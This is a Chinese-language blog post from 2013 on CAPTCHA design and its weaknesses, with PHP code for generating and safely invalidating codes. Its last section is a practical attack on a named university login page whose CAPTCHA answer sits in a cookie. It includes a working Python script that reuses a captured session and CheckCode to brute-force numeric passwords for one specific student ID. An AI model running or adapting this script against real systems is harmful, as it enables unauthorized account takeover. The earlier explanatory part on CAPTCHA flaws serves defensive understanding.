Jacky扯淡系列 – 验证码

  • 1 验证码的用途

防止恶意用户的csrf,比如一些bot的重复请求,类似的有密码破解等操作。
但是验证码这个东西会降低用户的体验度,因此不能将其作为必备的防护措施。

  • 2 常见的验证码形式

通常的验证码内容有:数字,字母,恶心一点儿有中文,更有甚者用广告当验证码,比如某网盘的。
而验证码验证方式:一般是要求用户重复输入相同的内容,特殊一点儿的验证码会采用问答的形式。
1_thumb
这个是QQ的互联登陆时的验证码
2_thumb
这个是security.tencent.com的验证码

从上面的图可以看出来,验证码为了防止被图像识别一般都会在验证码生成的过程中,会加入噪点和对图片中的文字进行变形处理来增加自动化识别的难度。

  • 3 验证码实现的原理

验证码的交互过程如下:

image_thumb1
图3 交互过程图

系统在生成验证码时主要的操作有:

  1. 利用随机算法(如PHP中的mt_rand函数)从指定内容模版中选取出指定长度的字符串,记为$code
  2. 将$code以图片的形式展现给用户,PHP中生成图片可以使用GD库
  3. 将$code在服务端保留存放,通常放入用户对应的session中。
    $_SESSION['verifycode']=$code

下面的生成验证码的代码,是从网上扣来的,作者是@author iranw  <wang_wenguan@yeah.net>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function createimg($width=100,$height=30,$length=4){
        $this->width = $width;
        $this->height = $height;
        $this->lenght = $length;
        $this->im = imagecreate($this->width, $this->height);  
   
        $this->SetBgColor();     //设置背景色
        $this->SetDot();         //设置干扰点
        $this->SetLine();            //设置干扰线
        $this->GetRandStr();     //获取随机字符    
   
        for($i=0;$i<$this->lenght;$i++){
            $c_position = !$i?$this->mar_left:$c_position+$this->pad;
            $color = ImageColorAllocate ( $this->im, mt_rand ( 0, 100 ), mt_rand ( 0, 100 ), mt_rand ( 0, 100 ) ); //字符随即颜色
            ImageChar ( $this->im, $this->fontsize, $c_position, $this->mar_top, $this->randstr[$i], $color ); //绘字符
        }
        Imagegif ( $this->im );
        ImageDestroy ( $this->im );
 
        return $this->randstr;
    }
  • 4 验证码安全隐患

从原理来看,验证码可能存在的问题有:

  1. 验证码生成时随机算法的健壮性,在一些编程语言里面random函数实际上伪随机,也就是上一次random和下一次random之间是能够推导出来,那么用户在知道某一次的验证码后,完全可以推导出之后所有的验证码。
  2. 验证码要具备良好的防止OCR识别的能力, 一般图像识别都是先通过二值化,然后高斯处理去噪点,最后边缘检测和分割。因此一个强壮验证码应该在生成的时候需要对文字进行变形,文字和文字之间最好能有重叠,这样来加大图像分割的难度。
  3. 验证码的答案一定要保存在用户不可见的位置,通常是写入到用户的session中,也可以写到一些内存数据库中,一定不能在用户页面中插入答案,不管这个页面元素是否可见,也不能将验证码的答案写到用户的Cookie中,因为上述两个地方都是在用户侧,用户想要查看是肯定能看到的,所以这个验证码对应的答案一定要存放在服务端。
  4. 最后一个问题属于逻辑问题,验证码一定是一次性的,用完了立马注销。也就是图3中的步骤4,如果系统没有步骤4,那么恶意用户可以在一次请求获得验证码后,使用该验证码不断的发送请求,那么系统设置验证码的目的也就形同虚设了。恶意用户的攻击流程如下:
    image_thumb4
    图4 恶意用户攻击流程图
    从上图中我们可以看到用户在第二次请求时(步骤4),由于没有经过步骤1和步骤2,因此系统中的验证码并没有改变,因此用户才能用上一次的验证码进行恶意请求。因此我们可以实现一个方法无论验证码是否正确,只要比较一次后就必须销毁原来的验证码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
        /**
         * @param $code 用户提交的验证码
         * @return bool 验证码正确返回true
         */
        public function checkCode($code){
            $flag = false;
            //比较验证码
            if(isset($_SESSION['verifycode']))
                $flag = strtolower($_SESSION['verifycode']) == strtolower($code);
            //清空已有的验证码信息
            unset($_SESSION['verifycode']);
            return $flag;
        }
  • 5 实践利用

由于手上刚好遇到了一个站点有这样的问题,也就是验证码存在cookie中,而且没有有效销毁的情况,那么接下来就说一下针对这样的情况如何利用。

有问题的站点:http://gd.whut.edu.cn/etm/ETMDCP/

请求验证码的HTTP请求:http://gd.whut.edu.cn/etm/ETMDCP/other/Code.aspx?0.8546793526038527

Cookie接收和发送如图:

image_thumb6
图5 接收到的Cookie

验证码如图:

image_thumb8
图6 验证码

因此在登录破解的时候根本不需要关注验证码的图片,只需要查看响应头中的Set-Cookie中CheckCode字段就可以。我们在破解密码过程中只需要不断发送用户名+密码+这个CheckCode就可以了。下面是我写的一段python代码来爆破密码的脚本:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python
#coding:utf-8
'''
Author: HuangJacky
Description: 破解研究生系统登录密码
Time: 2013-06-18
Email: huangjacky@163.com
QQ: 4462676
'''
 
import sys
import httplib2
import urllib
import time
 
__author__ = 'fiend'
 
reload(sys)
sys.setdefaultencoding("utf-8")#@UndefinedVariable
 
 
headers = {
    'Host':'gd.whut.edu.cn',
    'Cookie':'ASP.NET_SessionId=j1ukxkeurn31yh45e21r3r55; CheckCode=6245',
    'Content-Type':'application/x-www-form-urlencoded'
}
v = '密码错误!'
data = {
    '__VIEWSTATE':'/wEPDwUKMTMyOTgyMjUxMg8WBB4RTG9naW5UaW1lTGltaXRTZXQFBUNMT1NFHghmaWxlUGF0aAUbRTpcZXRtXEVUTURDUFxMaW5zX3dobGcuaW5pFgICAw9kFgICAQ8WAh4Fc3R5bGUFiQFiYWNrZ3JvdW5kOnVybChvdGhlci9UaXRsZVBpYy9oZWFkMjAxMzA0MTAuanBnKSBuby1yZXBlYXQ7IHdpZHRoOjU4MnB4OyBoZWlnaHQ6MzE0cHg7IG1hcmdpbjowIGF1dG87IG1hcmdpbi10b3A6MjIzcHg7IHRleHQtYWxpZ246Y2VudGVyOxYEAgcPEGQPFgRmAgECAgIDFgQQBQnnrqHnkIblkZgFAjAxZxAFBuWtpueUnwUCMDNnEAUG5a+85biIBQIwN2cQBQzor4TlrqHkuJPlrrYFAjA4Z2RkAgsPDxYCHgRUZXh0BQMwMTBkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUJYnRuX2xvZ2luloNQd+iL1vSdm+yjJz5XwgAEOYU=',
    '__EVENTVALIDATION':'/wEWCQLhtbHJCgL4hPDxAQL7w4LuCgLLm6aZAgKOhqnMBgKOhpHMBgKOhoHMBgKOhsXPBgLjl+vcBIxSBFKNaX7oywTJkaGHdttr98yb',
    'txt_User':'学号',
    'txt_Pass':'密码',
    'txt_Code':'验证码',
    'drp_type':'03',
    'btn_login.x':'35',
    'btn_login.y':'5'
}
 
 
h = httplib2.Http()
 
def test(sno,pwd):
    data['txt_User'] = sno
    data['txt_Pass'] = pwd
    print sno,':',pwd
    resp,content = h.request(url,'POST',urllib.urlencode(data),headers)
    if resp.status == 200:
        if content.find(v,5000)==-1:
            print 'password is ',pwd
            return True
        else:
            return False
    elif resp.status == 302:
        print 'password is ',pwd
        return True
    else:
        print resp
        return False
 
def init(code,cookie=None):
    if cookie:
        headers['Cookie'] = cookie
    data['txt_Code'] = code
 
if __name__ == '__main__':
    init(2589,'ASP.NET_SessionId=j1ukxkeurn31yh45e21r3r55; CheckCode=4427')
    sno = '1049721101334'
    print 'Now Cracking is ',sno
    i = 1
    while i < 9999999:
        nn,dd = divmod(i,100)
        if dd == 0:
            time.sleep(2)
        s = str(i)
        pwd = s
        if test(sno,pwd):
            break
        i+=1
        time.sleep(0.1)
    print 'done'

我是HuangJacky,今天就到这里了。

posted @ 2013-06-19 15:34  HuangJacky  阅读(964)  评论(0编辑  收藏  举报
AdminLogin